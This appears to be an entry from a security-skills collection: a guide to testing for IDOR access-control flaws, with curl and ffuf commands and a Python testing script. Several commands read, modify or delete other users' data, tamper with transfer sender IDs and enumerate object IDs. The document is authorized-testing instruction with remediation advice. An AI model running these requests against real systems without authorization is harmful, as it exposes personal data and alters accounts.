npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when testing access control on resource endpoints
- When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
- For validating that object-level authorization is enforced across all CRUD operations
- When testing multi-tenant applications where users should only access their own data
- During bug bounty programs targeting broken access control vulnerabilities
Prerequisites
- Authorization: Written penetration testing agreement for the target application
- Burp Suite Professional: With Authorize extension installed from BApp Store
- Two test accounts: At least two separate user accounts with different permission levels
- Burp Authorize Extension: For automated IDOR testing across sessions
- curl/httpie: For manual request crafting
- Browser: Configured to proxy through Burp Suite
Workflow
Step 1: Map All Object References in the Application
Identify every endpoint that references objects by ID across the application.
# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references
# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}
# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}
# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doeStep 2: Configure Burp Authorize Extension for Automated Testing
Set up the Authorize extension to automatically replay requests with a different user's session.
# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
# - Add User B's cookies in "Replace cookies" section
# - Or add User B's Authorization header in "Replace headers"
# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>
# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"
# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)Step 3: Test Horizontal IDOR (Same Privilege Level)
Attempt to access resources belonging to another user at the same privilege level.
# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."
# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# Compare responses - if both return 200 with data, IDOR is confirmed
# Test across different resource types
for resource in profile orders invoices messages documents; do
echo "--- Testing $resource ---"
# User A's resource
curl -s -o /dev/null -w "Own: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
# User B's resource
curl -s -o /dev/null -w "Other: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"Step 4: Test Vertical IDOR (Cross Privilege Level)
Attempt to access admin or elevated resources with a regular user token.
# As regular user, try accessing admin user profiles
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/1/profile" | jq .
# Try accessing admin-specific resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/admin/reports/1" | jq .
# Test accessing resources across organizational boundaries
# User in Org A trying to access Org B's resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/organizations/2/settings" | jq .
# Test file download IDOR
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/invoices/999/download" -o test.pdf
file test.pdfStep 5: Test IDOR in Non-Obvious Locations
Look for IDOR in request bodies, headers, and indirect references.
# IDOR in request body parameters
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
"https://target.example.com/api/v1/transfers"
# Change sender_id to another user
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
"https://target.example.com/api/v1/transfers"
# IDOR in file references
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
# IDOR in GraphQL
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
"https://target.example.com/graphql"
# IDOR via parameter pollution
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile?user_id=102"
# IDOR in bulk operations
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"ids": [101, 102, 103, 104, 105]}' \
"https://target.example.com/api/v1/users/bulk"Step 6: Enumerate and Escalate Impact
Determine the full scope of data exposure through IDOR.
# Enumerate valid object IDs
ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
-w <(seq 1 500) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 20 \
-o valid-users.json -of json
# Count total accessible records
jq '.results | length' valid-users.json
# Check what sensitive data is exposed per record
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | \
jq 'keys'
# Look for: email, phone, address, ssn, payment_info, password_hash
# Test IDOR on state-changing operations
# Can User A delete User B's resources?
curl -s -X DELETE -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/posts/1" \
-w "%{http_code}"
# WARNING: Only test DELETE on known test data, never on real user dataKey Concepts
| Concept | Description |
|---|---|
| Horizontal IDOR | Accessing resources belonging to another user at the same privilege level |
| Vertical IDOR | Accessing resources requiring higher privileges than the current user has |
| Direct Object Reference | Using a database key, file path, or identifier directly in API parameters |
| Indirect Object Reference | Using a mapped reference (e.g., index) that the server resolves to the actual object |
| Object-Level Authorization | Server-side check that the requesting user is authorized to access the specific object |
| Predictable IDs | Sequential numeric identifiers that allow easy enumeration of valid objects |
| UUID Randomness | Using UUIDv4 makes enumeration harder but does not replace authorization checks |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |
| Authorize (Burp Extension) | Automated IDOR testing by replaying requests with different user sessions |
| AutoRepeater (Burp Extension) | Automatically repeats requests with modified authorization headers |
| Postman | API testing with environment variables for switching between user contexts |
| ffuf | Fast fuzzing of object ID parameters |
| OWASP ZAP | Free proxy alternative with access control testing plugins |
Common Scenarios
Scenario 1: Invoice Download IDOR
The /invoices/{id}/download endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.
Scenario 2: User Profile Data Leak
The /api/users/{id} endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.
Scenario 3: File Access via Path Manipulation
A document management system stores files at /files/{user_id}/{filename}. By changing the user_id path segment, users can access private documents uploaded by other users.
Scenario 4: Message Thread Hijacking
A messaging endpoint at /api/conversations/{id}/messages allows any authenticated user to read messages in any conversation by changing the conversation ID.
Output Format
## IDOR Vulnerability Finding
**Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
**Severity**: High (CVSS 7.5)
**Location**: GET /api/v1/users/{id}/profile
**OWASP Category**: A01:2021 - Broken Access Control
### Reproduction Steps
1. Authenticate as User A (ID: 101) and obtain JWT token
2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
4. Observe that User B's full profile is returned including PII
### Affected Endpoints
| Endpoint | Method | Impact |
|----------|--------|--------|
| /api/v1/users/{id}/profile | GET | Read PII of any user |
| /api/v1/users/{id}/orders | GET | Read order history of any user |
| /api/v1/users/{id}/profile | PUT | Modify profile of any user |
| /api/v1/invoices/{id}/download | GET | Download any user's invoices |
### Impact
- 15,000+ user profiles accessible (enumerated IDs 1-15247)
- Exposed fields: name, email, phone, address, date_of_birth
- Write IDOR allows profile modification of other users
- Violates GDPR data access controls
### Recommendation
1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
3. Log and alert on sequential ID enumeration patterns
4. Implement rate limiting on resource endpointsReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.8 KB
API Reference: IDOR Vulnerability Testing Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for API endpoint testing |
CLI Usage
python scripts/agent.py \
--url https://target.example.com \
--token-a "eyJ..." --token-b "eyJ..." \
--endpoints "/api/v1/users/{id}/profile" "/api/v1/orders/{id}" \
--own-id 101 --other-id 102 \
--output idor_report.jsonIDORTester Class
__init__(base_url, user_a_token, user_b_token, verify_ssl)
Creates two requests.Session objects with different Bearer tokens for cross-user testing.
test_horizontal_idor(endpoint_template, own_id, other_id, method) -> dict
Accesses own resource then another user's resource with the same token. IDOR confirmed when both return 200 with different content.
test_vertical_idor(endpoint, method) -> dict
Accesses admin-only endpoints with a regular user token. Status 200 indicates missing authorization.
test_id_enumeration(endpoint_template, id_range, method) -> dict
Iterates over an ID range to discover valid objects. Returns count and sample IDs.
test_write_idor(endpoint_template, other_id, payload) -> dict
Sends PUT with another user's ID to test write-based IDOR. Status 200/201/204 indicates vulnerability.
test_cross_session(endpoint_template, resource_id) -> dict
Compares response hashes between two sessions for the same resource to detect missing authorization checks.
generate_report() -> dict
Returns all accumulated findings with severity assessment.
Output Schema
{
"target": "https://target.example.com",
"total_findings": 2,
"findings": [{"type": "horizontal", "endpoint": "/api/v1/users/{id}/profile", "vulnerable": true}],
"severity": "High"
}Scripts 1
agent.py7.2 KB
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""IDOR vulnerability detection agent using requests with multi-session comparison."""
import argparse
import json
import logging
import sys
import hashlib
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
class IDORTester:
"""Tests for Insecure Direct Object Reference vulnerabilities."""
def __init__(self, base_url: str, user_a_token: str, user_b_token: str,
verify_ssl: bool = False):
self.base_url = base_url.rstrip("/")
self.verify = verify_ssl
self.session_a = requests.Session()
self.session_a.headers.update({"Authorization": f"Bearer {user_a_token}"})
self.session_a.verify = verify_ssl
self.session_b = requests.Session()
self.session_b.headers.update({"Authorization": f"Bearer {user_b_token}"})
self.session_b.verify = verify_ssl
self.findings = []
def _response_hash(self, resp: requests.Response) -> str:
return hashlib.md5(resp.content).hexdigest()
def test_horizontal_idor(self, endpoint_template: str, own_id: str,
other_id: str, method: str = "GET") -> dict:
"""Test horizontal IDOR by accessing another user's resource."""
own_url = f"{self.base_url}{endpoint_template.replace('{id}', own_id)}"
other_url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
own_resp = self.session_a.request(method, own_url, timeout=10)
other_resp = self.session_a.request(method, other_url, timeout=10)
vulnerable = (
other_resp.status_code == 200
and own_resp.status_code == 200
and self._response_hash(other_resp) != self._response_hash(own_resp)
)
result = {
"type": "horizontal",
"endpoint": endpoint_template,
"method": method,
"own_status": own_resp.status_code,
"other_status": other_resp.status_code,
"vulnerable": vulnerable,
"own_content_length": len(own_resp.content),
"other_content_length": len(other_resp.content),
}
if vulnerable:
self.findings.append(result)
logger.warning("IDOR FOUND: %s %s", method, endpoint_template)
return result
def test_vertical_idor(self, endpoint: str, method: str = "GET") -> dict:
"""Test vertical IDOR by accessing admin endpoints with regular user token."""
url = f"{self.base_url}{endpoint}"
resp = self.session_a.request(method, url, timeout=10)
vulnerable = resp.status_code == 200
result = {
"type": "vertical",
"endpoint": endpoint,
"method": method,
"status_code": resp.status_code,
"vulnerable": vulnerable,
"content_length": len(resp.content),
}
if vulnerable:
self.findings.append(result)
logger.warning("Vertical IDOR: %s %s (status=%d)", method, endpoint, resp.status_code)
return result
def test_id_enumeration(self, endpoint_template: str, id_range: range,
method: str = "GET") -> dict:
"""Enumerate valid object IDs via response code analysis."""
valid_ids = []
for obj_id in id_range:
url = f"{self.base_url}{endpoint_template.replace('{id}', str(obj_id))}"
try:
resp = self.session_a.request(method, url, timeout=5)
if resp.status_code == 200:
valid_ids.append(obj_id)
except requests.RequestException:
continue
logger.info("Enumerated %d valid IDs in range %d-%d", len(valid_ids),
id_range.start, id_range.stop)
return {
"endpoint": endpoint_template,
"range_tested": f"{id_range.start}-{id_range.stop}",
"valid_ids_found": len(valid_ids),
"sample_ids": valid_ids[:10],
}
def test_write_idor(self, endpoint_template: str, other_id: str,
payload: dict) -> dict:
"""Test write-based IDOR via PUT/PATCH with another user's ID."""
url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
resp = self.session_a.put(url, json=payload, timeout=10)
vulnerable = resp.status_code in (200, 201, 204)
result = {
"type": "write_idor",
"endpoint": endpoint_template,
"method": "PUT",
"target_id": other_id,
"status_code": resp.status_code,
"vulnerable": vulnerable,
}
if vulnerable:
self.findings.append(result)
logger.warning("Write IDOR: PUT %s (status=%d)", endpoint_template, resp.status_code)
return result
def test_cross_session(self, endpoint_template: str, resource_id: str) -> dict:
"""Compare responses between two authenticated sessions for the same resource."""
url = f"{self.base_url}{endpoint_template.replace('{id}', resource_id)}"
resp_a = self.session_a.get(url, timeout=10)
resp_b = self.session_b.get(url, timeout=10)
same_response = self._response_hash(resp_a) == self._response_hash(resp_b)
result = {
"endpoint": endpoint_template,
"resource_id": resource_id,
"user_a_status": resp_a.status_code,
"user_b_status": resp_b.status_code,
"same_response": same_response,
"missing_authz": resp_a.status_code == 200 and resp_b.status_code == 200 and same_response,
}
return result
def generate_report(self) -> dict:
"""Compile IDOR assessment results."""
return {
"target": self.base_url,
"total_findings": len(self.findings),
"findings": self.findings,
"severity": "High" if self.findings else "None",
}
def main():
parser = argparse.ArgumentParser(description="IDOR Vulnerability Testing Agent")
parser.add_argument("--url", required=True, help="Base URL of the target API")
parser.add_argument("--token-a", required=True, help="JWT token for User A")
parser.add_argument("--token-b", required=True, help="JWT token for User B")
parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}/profile"])
parser.add_argument("--own-id", default="101", help="User A's resource ID")
parser.add_argument("--other-id", default="102", help="User B's resource ID")
parser.add_argument("--output", default="idor_report.json")
args = parser.parse_args()
tester = IDORTester(args.url, args.token_a, args.token_b)
all_results = []
for ep in args.endpoints:
result = tester.test_horizontal_idor(ep, args.own_id, args.other_id)
all_results.append(result)
report = tester.generate_report()
report["test_details"] = all_results
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()